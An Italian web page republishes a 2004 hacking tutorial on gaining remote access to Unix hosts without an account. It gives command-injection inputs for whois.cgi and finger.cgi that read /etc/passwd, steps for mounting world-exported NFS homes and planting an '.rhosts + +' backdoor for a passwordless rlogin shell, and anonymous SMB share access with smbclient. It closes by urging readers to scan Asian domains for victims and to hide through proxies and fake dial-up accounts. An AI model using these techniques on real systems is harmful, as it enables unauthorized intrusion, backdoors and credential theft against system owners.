Manuali, links, fotografie e tanto altro
alla portata di un semplice click!
 
 Benvenuto Ospite
Manuali, immagini, fotografie e tanto altro a portata di un click

Cartoline virtuali

Cartolina n° 347



Sono presenti 1307 cartoline virtuali. Entra ora


Giochi online
Simon


1. Luzius: 34
2. ermesiti: 32
3. barone400: 31

Visualizza tutti i giochi.

News Reader















Tecniche di intrusione, TRITIEMUS
.: Data Pubblicazione 28-Nov-2004 :: Letture:: 2580 :: Recensione :: Stampa solo questa pagina :: Stampa pagina con tutte le sottopagine:.

---[ i N D i C E ]---



0x01.0 iNTR0
0x01.1 WH0iS.CGi
0x01.2 FiNGER.CGi
0x01.3 NETW0RK FiLE SYSTEM
0x01.4 NETBi0S & LiNUX: SAMBA HACKING
0x01.5 C0NCLUSi0NE
0x01.6 F0NTi

0x01.0 i N T R 0
================
Sembra che l'unico modo semplice per poter eseguire comandi su di un host da remoto sia l'utilizzo del celebre phf, ormai introvabile.
Ebbene, non è così. Esistono altri bug, sia antichi, sia recenti, che permettono di ottenere lo stesso risultato.
Il presente documento mostra alcuni metodi che consentono di eseguire comandi da remoto, o comunque permettono all'intrusore di accedere a un host senza avere un account su quel sistema. Questo articolo copre l'argomento dell'intrusione. Cosa fare una volta entrati, come nascondersi, come ottenere il file delle password e come crackarlo non sono argomenti trattati in questo tutorial.
In ogni caso, l'autore non si assume nessuna responsabilità sull'uso che verrà fatto delle informazioni contenute in questo documento.

0x01.1 WHOIS.CGI
================
Il whois.cgi e' uno script che permette di verificare online l'esistenza di un dominio. Per esempio, se vogliamo ottenere informazioni su di un determinato dominio, basta immettere il nome del dominio nello spazio apposito e premere "Invio", e otteniamo una serie di informazioni sul dominio specificato. Ebbene, la versione 1.0 dello script che effettua questa operazione contiene un bug: se al posto del nome del dominio, inseriamo un comando Unix preceduto da ";" lo script lo esegue e ci resituisce l'output sul browser! Per esempio, se noi mettiamo

;id

otteniamo come risposta qualcosa del tipo:

uid=501(tritemius) gid=500(users)

come se avessimo eseguito il comando id da una shell.

Con

;cat < /etc/passwd

otterremo la lista del file delle password (che probabilmente sarà shadowed).
Esistono varianti di questo bug: in alcuni casi, invece di usare semplicemente il ";" si devono mettere anche le doppie apici; oppure un ";" anche in fondo al comando. Ecco il bug nelle sue tre varianti:
;comando
";comando
;comando;

Questo bug e' discretamente diffuso: l'ho visto funzionare anche su sistemi abbastanza grandi. Ho trovato solo la prima variante, e l'ho visto funzionre solo su script contrassegnati dal numero di versione 1.0.

0x01.2 FINGER.CGI
=================
Finger è un programma che mostra informazioni sugli utenti di un host. Il discorso e' analogo al whois.cgi bug: ci sono siti che mettono online il finger. La pagina html richiama un cgi, appunto il finger.cgi. Se inseriamo nella text-box di input un comando Unix preceduto da "|", il comando sara' eseguito, esattamente come nel caso del whois.cgi.
Esempio:

|id

otteniamo come risposta qualcosa del tipo:

uid=501(tritemius) gid=500(users)

Anche questo script è diffuso più o meno come il whois.cgi (forse un po' meno). Non ho info sul numero di versione di questo script.

0x01.3 NETW0RK FiLE SYSTEM
==========================
Abbandoniamo i cgi e veniamo a un classico dell'hacking in ambiente Unix, ovvero il Network File System. Benchè si tratti di un metodo assai datato e' impressionante il numero di sistemi tuttora attaccabili con questo sistema. Unix permette di condividere directory attraverso una rete. Questo significa che un computer remoto puo' "montare" sul proprio sistema una o piu' directory del sistema locale. Il computer remoto monta la directory con il comando mount lo stesso comando utilizzato per montare floppy,cdrom,partizioni. Dopo che questa operazione è stata eseguita il sistema remoto puo' accedere alla directory condivisa come se questa fosse in locale, come se facesse parte dello stesso hard-disk; l'utente accede a questa directory come accede a tutte le altre, con i comandi classici (cd,mv,cp,rm...). Tutto il meccanismo è completamente trasparente all'utente.
Per controllare se un sistema condivide directory attraverso NFS, basta eseguire

showmount -e nomehost

Se esistono directory condivise queste verranno listate:

/home host1 host2 host3
/usr host1


Questo esempio mostra quello che puo' risultare dall'esecuzione del comando showmount, ovvero una serie di directory (2 in questo case,home e usr) seguite dal nome degli host che possono accedere a queste risorse. Come si intuisce, queste directory possono essere montate solo dai sistemi elencati (host1,host2,host3). Ma se al posto di host1,host2,host3 ci fosse stato everyone, allora le due directory sarebbero state leggibili da chiunque...

Per sempio:

showmount -e www.pippo.com
/home everyone
/home1 everyone
/home2 everyone


L'host www.pippo.com esporta 3 directory; queste directory possono essere montate da qualsiasi sistema!!!
Quindi eseguiamo

mount www.pippo.com:/home /mnt

A questo punto nella directory mnt del nostro sistema troveremo il contenuto della directory home dell'host www.pippo.com!

Con

cd mnt
ls


avremo la lista della directory home

/joe /john /mike

Ora basta entrare nella direcotry di un utente (es.: cd joe),inserire la piu' classica delle backdoor:

echo '+ +' >> .rhosts

ed eseguire un login remoto

rlogin -l joe www.pippo.com

per avere una shell senza richiesta di password.

Questo metodo funziona ancora. In Oriente si trovano molti sistemi con questo tipo di problema.

0x01.4 NETBi0S & LiNUX: SAMBA HACKiNG
=====================================
Molti avranno gia' sperimentato il netbios hacking da Windows utilizzando nbtstat. Qui viene illustrato come la stessa tecnica puo' essere utilizzata anche con Linux; si deve sapere inoltre che la condivisione di risorse tramite netbios (la famosa porta 139) non e' una caratteristica dei sistemi Microsoft: anche Unix permette lo stesso tipo di servizio tramite Samba server.
Per accedere ai servizi netbios sotto Linux occorre il Samba client (smbclient), che molto probabilmente troverete nella vostra distribuzione. Eseguendo smbclient senza argomenti viene mostrata la lista delle opzioni:

Usage: smbclient service [-p port] [-d debuglevel] [-l log]
Version 1.9.17p4

-p port               listen on the specified port
-d debuglevel         set the debuglevel
-l log basename.      Basename for log/debug files
-n netbios name.      Use this name as my netbios name
-N                    don't ask for a password
-P                    connect to service as a printer
-M host               send a winpopup message to the host
-m max protocol       set the max protocol level
-L host               get a list of shares available on a host
-I dest IP            use this IP to connect to
-E                    write messages to stderr instead of stdout
-U username           set the network username
-W workgroup          set the workgroup name
-c command string     execute semicolon separated commands
-TIXgbNa          command line tar
-D directory          start from directory

A noi interessa l'opzione -L

smbclient -L "nome_host_dns"

(per nome_host_dns si intende il nome dell'host tipo www.pippo.com)

Questo comando mostra le eventuali risorse che il sistema remoto mette a disposizione:
    Added interface ip=192.168.0.2 bcast=192.168.0.255
    nmask=255.255.255.0
Unknown socket option TCP_NODELAY Server time is Tue Jan 27 22:54:18 2000 Timezone is UTC+1.0 Domain=[WORKGROUP] OS=[Unix] Server=[Samba 1.9.17p4] connected as guest security=user


Server=[LOCALHOST] User=[nobody] Workgroup=[WORKGROUP] Domain=[WORKGROUP]

	Sharename      Type      Comment
	---------      ----      -------
	IPC$           IPC       IPC Service (Samba 1.9.17p4)
        X              Disk      "Directory condivisa"

    This machine has a browse list:

	Server               Comment
	---------            -------
        VITTIMA              Samba 1.9.17p4


    This machine has a workgroup list:

	Workgroup            Master
	---------            -------
	OTHERGROUP           OTHER
        WORKGROUP            VITTIMA

Ora possiamo accedere. Come ? Ancora con smbclient. Vediamo:

smbclient VITTIMAX -I ip_vittima

Dove ip_vittima e' l'ip che avrete ottenuto con il lookup del nome_host_dns. Talvolta appare la richiesta di una password: normalmente basta battere invio per ottenere l'accesso; se questo non dovesse funzionare, si puo' tentare di entrare specificando l'account con l'opzione -U

smbclient VITTIMAX -I ip_vittima -U Administrator

battendo sempre invio all'eventuale richiesta di password. Una volta entrati vi troverete di fronte a un prompt del tipo

smb>

e potrete interagire con il server piu' o meno come si farebbe con ftp. Con ? si ottiene la lista dei comandi:

smb: > ?
ls           dir           lcd          cd          pwd
get          mget          put          mput        rename
more         mask          del          rm          mkdir
md           rmdir         rd           pq          prompt
recurse      translate     lowercase    print       printmode
queue        qinfo         cancel       quit        q
exit         newer         archive      tar         blocksize
tarmode      setmode       help         ?           !



E' possibile anche montare la diretory remota come si fa con il NFS che abbiamo visto prima: pero' invece di usare mount si usa smbmount:

smbmount //VITTIMA/X /mnt -I

Per poter montare il SMB file system ci si deve assicurare che il proprio kernel lo supporti; in caso contrario sara' necessario ricompilarlo includendo questa caratteristica.
Una volta montata la directory remota, si potranno usare i comandi Unix come nel caso del NFS.


0x01.5 CONCLUSi0NE
==================
Tutte le tecniche esaminate in questo articolo hanno una caratteristica comune:
sono relativamente semplici e funzionano. Uno scanning nei domini .kr,.tw,.jp e affini porta alla luce una situazione sconcertante dal punto di vista della sicurezza. Con un po' di pazienza (e con gli strumenti giusti) si troveranno decine di host che avranno almeno una delle debolezze qui descritte (probabilmente molti cadranno a causa delle condivisioni SMB e NFS).
Il fatto che questi sistemi siano deboli non deve essere un invito ad abbassare la guardia dal punto di vista dell'anonimato.
Tutte le regole devono essere rispettate: bouncing sui Wingate o da shell "sicure"; utilizzo di account falsi per il dial-up telefonico; inibizione del CLI (per quel che puo' valere). Per una trattazione piu' approfondita dell'argomento controllate "Mimetizzazione termo-ottica", che trovate sul mio sito.
Inoltre invito tutti ad approfondire gli argomenti qui esposti prima di metterli in pratica. Studiate i comandi mount,showmount,smbclient,rlogin (e tutti gli altri sui quali avete dubbi) utilizzando il comando man (es. man mount).

0x01.6 F0NTi
============
"Whois.cgi Advisory hhp-ADV#12"
(Loophole, hhp)

"Improving the Security of Your Site by Breaking Into it"
(Dan Farmer,Wietse Venema)

"Uso de Samba en Linux/Unix como sustituto del Nbtstat"
(Enif, JJF#3)

[EOF]

.: Ritorna ad argomento Hackers :: Ritorna a Indice Argomenti :.
Network: Cartoline virtuali - Calendari - Modelle - Playmates - Sfondi - Forum - Old SecurityNews - Warez